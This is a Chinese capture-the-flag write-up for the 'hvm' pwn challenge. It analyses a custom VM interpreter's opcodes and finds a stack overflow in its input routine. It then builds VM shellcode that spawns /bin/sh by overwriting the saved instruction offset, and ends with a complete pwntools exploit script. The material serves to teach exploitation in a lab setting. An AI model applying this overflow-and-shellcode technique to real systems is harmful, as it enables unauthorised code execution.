0x01 程序分析
题目有两个文件:
hvm
hvmbin
猜测是存在vm保护
先运行程序(hvm中open('/hvmbin'),需要将hvmbin放入根目录下):
./hvm
hello
Kirin_say
bye
程序过程:
输出"hello"
接收输入
输出"bye"
初步猜测第二步输入因为长度问题造成栈溢出:
./hvm
hello
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
段错误 (核心已转储)
main
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int fd; // ST04_4
set_up();
fd = open("/hvmbin", 0);
read(fd, buf, 0xFA0uLL);
vm_handle();
return 0LL;
}
set_up
unsigned __int64 set_up()
{
unsigned __int64 v0; // ST08_8
v0 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
buf = mmap(0LL, 0x2000uLL, 3, 34, -1, 0LL);
qword_2020E0 = (__int64)mmap(0LL, 0x2000uLL, 3, 34, -1, 0LL);
memset(buf, 0, 0x2000uLL);
qword_202100 = (__int64)buf;
qword_2020B8 = qword_2020E0 + 4096;
qword_2020D0 = qword_2020E0 + 4096;
alarm(0x1Eu);
return __readfsqword(0x28u) ^ v0;
}
首先nop掉alarm以便调试
可以看到
程序利用mmap分配两段内存分别作为vm代码段和vm栈段
代码段:buf = mmap(0LL, 0x2000uLL, 3, 34, -1, 0LL);
栈段:qword_2020E0 = (__int64)mmap(0LL, 0x2000uLL, 3, 34, -1, 0LL);
vm_handle
程序在main中:
fd = open("/hvmbin", 0);
read(fd, buf, 0xFA0uLL);
将hvmbin文件写入buf代码段
而后在vm_handle中:
.text:0000559BC2092AA4 push rbp
.text:0000559BC2092AA5 mov rbp, rsp
.text:0000559BC2092AA8 push rbx
.text:0000559BC2092AA9 sub rsp, 48h
.text:0000559BC2092AAD mov rax, fs:28h
.text:0000559BC2092AB6 mov [rbp+var_18], rax
.text:0000559BC2092ABA xor eax, eax
.text:0000559BC2092ABC mov rax, cs:vm_ip
.text:0000559BC2092AC3 mov eax, [rax]
.text:0000559BC2092AC5 mov [rbp+var_50], eax
.text:0000559BC2092AC8 jmp loc_559BC20931AE ; jumptable 0000000000000AF9 default case
通过vm_ip读取buf中的指令
而后:
.text:0000559BC2092ACD cmp [rbp+var_50], 1Ah ; switch 27 cases
.text:0000559BC2092AD1 ja loc_559BC20931AE ; jumptable 0000000000000AF9 default case
.text:0000559BC2092AD7 mov eax, [rbp+var_50]
.text:0000559BC2092ADA lea rdx, ds:0[rax*4]
.text:0000559BC2092AE2 lea rax, off_559BC20932D4
.text:0000559BC2092AE9 mov eax, [rdx+rax]
......
通过switch不断解析这些指令,最终实现程序
vm_handle伪代码分析:
unsigned __int64 vm_handle()
{
unsigned int v0; // ST20_4
int v1; // ST1C_4
_DWORD *v2; // rbx
_DWORD *v3; // rbx
unsigned __int64 result; // rax
int v5; // [rsp+0h] [rbp-50h]
unsigned __int64 v6; // [rsp+38h] [rbp-18h]
__int64 savedregs; // [rsp+50h] [rbp+0h]
v6 = __readfsqword(0x28u);
v5 = *(_DWORD *)vm_ip;
LABEL_26:
while ( v5 )
{
switch ( (unsigned int)&savedregs )
{
case 1u:
vm_ip += 4LL; // mov rax,n
vm_rax = (signed int)convert(*(_DWORD *)vm_ip);
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 2u:
vm_ip += 4LL; // mov rbx,n
vm_rbx = (signed int)convert(*(_DWORD *)vm_ip);
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 3u:
vm_ip += 4LL; // mov rcx,n
vm_rcx = (signed int)convert(*(_DWORD *)vm_ip);
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 4u:
vm_ip += 4LL; // mov rdx,n
vm_rdx = (signed int)convert(*(_DWORD *)vm_ip);
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 5u:
vm_ip += 4LL; // jmp 4*n
vm_ip += 4LL * (signed int)convert(*(_DWORD *)vm_ip);
v5 = *(_DWORD *)vm_ip;
break;
case 6u:
v0 = *(_DWORD *)vm_rsp; // ret 4*(n+3)
vm_rsp += 4LL;
vm_ip = (__int64)vm_base_addr + 4 * ((signed int)convert(v0) + 3LL);
v5 = *(_DWORD *)vm_ip;
break;
case 7u:
vm_ip += 4LL; // push n
v1 = *(_DWORD *)vm_ip;
vm_rsp -= 4LL;
*(_DWORD *)vm_rsp = v1;
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 8u:
vm_rax = vm_rsp; // mov rax,rsp
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 9u: // mov rbx,rsp
vm_rbx = vm_rsp;
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 0xAu:
vm_rcx = vm_rsp; // mov rcx,rsp
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 0xBu:
vm_rdx = vm_rsp; // mov rdx,rsp
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 0xCu: // mov rsi,rsp
vm_rsi = vm_rsp;
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 0xDu:
vm_rdi = vm_rsp; // mov rdi,rsp
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 0xEu: // syscall
__asm { syscall; LINUX - }
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 0xFu:
vm_ip += 4LL; // sub rsp,(n/4)*4
vm_rsp -= 4LL * ((signed int)convert(*(_DWORD *)vm_ip) / 4);
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 0x10u:
vm_rsp -= 4LL; // push rbp
v2 = (_DWORD *)vm_rsp;
*v2 = convert((vm_rbp - vm_stack) >> 2);
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 0x11u: // mov rbp,rsp
vm_rbp = vm_rsp;
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 0x12u:
vm_rsp = vm_rbp; // mov rsp,rbp
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 0x13u: // pop rbp
vm_rbp = 4LL * (signed int)convert(*(_DWORD *)vm_rsp) + vm_stack;
vm_rsp += 4LL;
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 0x14u:
vm_rsp -= 4LL; // push ip
v3 = (_DWORD *)vm_rsp;
*v3 = convert((vm_ip - (signed __int64)vm_base_addr) >> 2);
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 0x18u:
vm_ip += 4LL; // mov rdi,n
vm_rdi = (signed int)convert(*(_DWORD *)vm_ip);
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
case 0x19u:
exit(0); // exit(0)
return result;
case 0x1Au:
vm_ip += 4LL; // mov rsi,n
vm_rsi = (signed int)convert(*(_DWORD *)vm_ip);
vm_ip += 4LL;
v5 = *(_DWORD *)vm_ip;
break;
default:
goto LABEL_26;
}
}
return __readfsqword(0x28u) ^ v6;
}
其中调用syscall会将虚拟寄存器ax,bx,cx,dx,si,di传入真实寄存器:
.text:000056544247EE9A mov rax, cs:vm_rax ; jumptable 0000000000000AF9 case 14
.text:000056544247EEA1 mov rbx, cs:vm_rbx
.text:000056544247EEA8 mov rcx, cs:vm_rcx
.text:000056544247EEAF mov rdx, cs:vm_rdx
.text:000056544247EEB6 mov rsi, cs:vm_rsi
.text:000056544247EEBD mov rdi, cs:vm_rdi
.text:000056544247EEC4 syscall
最后对照hvmbin解析后得到程序过程:
push "o\n\x00\x00"
push 'hell'
mov rsi,rsp
mov rdi,1
mov rdx,6
mov rax,1
syscall
push rip
jmp 4*14
push 0
push 'bye\n'
mov rsi,rsp
mov rdi,1
mov rdx,6
mov rax,1
syscall
exit
(jmp 4*14:)
push rbp
mov rsp,rbp
sub rsp,0x30
mov rsi,rsp
mov rdi,0
mov rdx,0xf0
mov rax,0
syscall
mov rsp,rbp
pop rbp
ret (vm_base_addr+4*(off+3))
0x02 漏洞
可以看到第二步接收输入过程:
push rbp
mov rsp,rbp
sub rsp,0x30
mov rsi,rsp
mov rdi,0
mov rdx,0xf0
mov rax,0
syscall
mov rsp,rbp
pop rbp
ret (vm_base_addr+4*(off+3))
其允许我们输入最大0xf0长度的数据,从而造成了溢出
且在这里call的实现:
push eip
jmp ...
且入栈的eip为相对于vm_base_addr的偏移(且这里视为符号数):
vm_ip = (__int64)vm_base_addr + 4 * ((signed int)convert(v0) + 3LL)
而且这里虚拟代码段和栈段是通过两次连续的 mmap 得到的内存
其是连续的,故而其地址相对关系是固定的,因此可以通过覆盖偏移来劫持eip,最终跳转到读入的shellcode:
sub rsp,0x38 ; 我们开始输入"/bin/sh","sub rsp,0x38"使rsp指向"/bin/sh"
mov rdi,esp
mov rdx,0
mov rsi,0
mov rax,0x3b
syscall
对应到vm中的实现为:
payload=p32(0x0f)+p32(0x38000000)
payload+=p32(0x0d)
payload+=p32(4)+p32(0)
payload+=p32(0x1a)+p32(0)
payload+=p32(1)+p32(0x3b000000)
payload+=p32(0xe)
payload = payload.ljust(0x30,'\x00') //缓冲区大小:0x30
填充完缓冲区,需要确定覆盖的bp与ip:
首先覆盖过程中保持bp不变,防止程序崩溃(直接覆盖为程序原来此处的bp即可):
需要注意存在convert函数:
__int64 __fastcall convert(unsigned int a1)
{
return (a1 << 24) + ((a1 << 8) & 0xFF0000) + (((signed int)a1 >> 8) & 0xFF00) + (a1 >> 24);
}
这里是为了实现Little-Endian与Big-Endian之间的转换
所以求出所要覆盖数据时,注意在这里需要转换成Big-Endian
payload+=flat(0x400,word_size=32,endianness='big')
在第二步返回时下断点,用当前数据列出关系式,解出需要覆盖的ip:
vm_base_addr + 4 * ((signed int)convert(v0) + 3LL)=00007FBAF8709FC8
即:
7FBAF870B000 + 4 * ((signed int)convert(v0) + 3LL)=00007FBAF8709FC8
解出,需要覆盖为:
flat(-0x411,word_size=32,endianness='big')
0x03 EXP
from pwn import *
#context.log_level = 'debug'
p=process("./hvm")
p.recvuntil("hello\n")
payload="/bin/sh\x00"
payload+=p32(0x0f)+p32(0x38000000)
payload+=p32(0x0d)
payload+=p32(4)+p32(0)
payload+=p32(0x1a)+p32(0)
payload+=p32(1)+p32(0x3b000000)
payload+=p32(0xe)
payload = payload.ljust(0x30,'\x00')+flat(0x400,-0x411,word_size=32,endianness='big')
p.sendline(payload)
p.interactive()
网友评论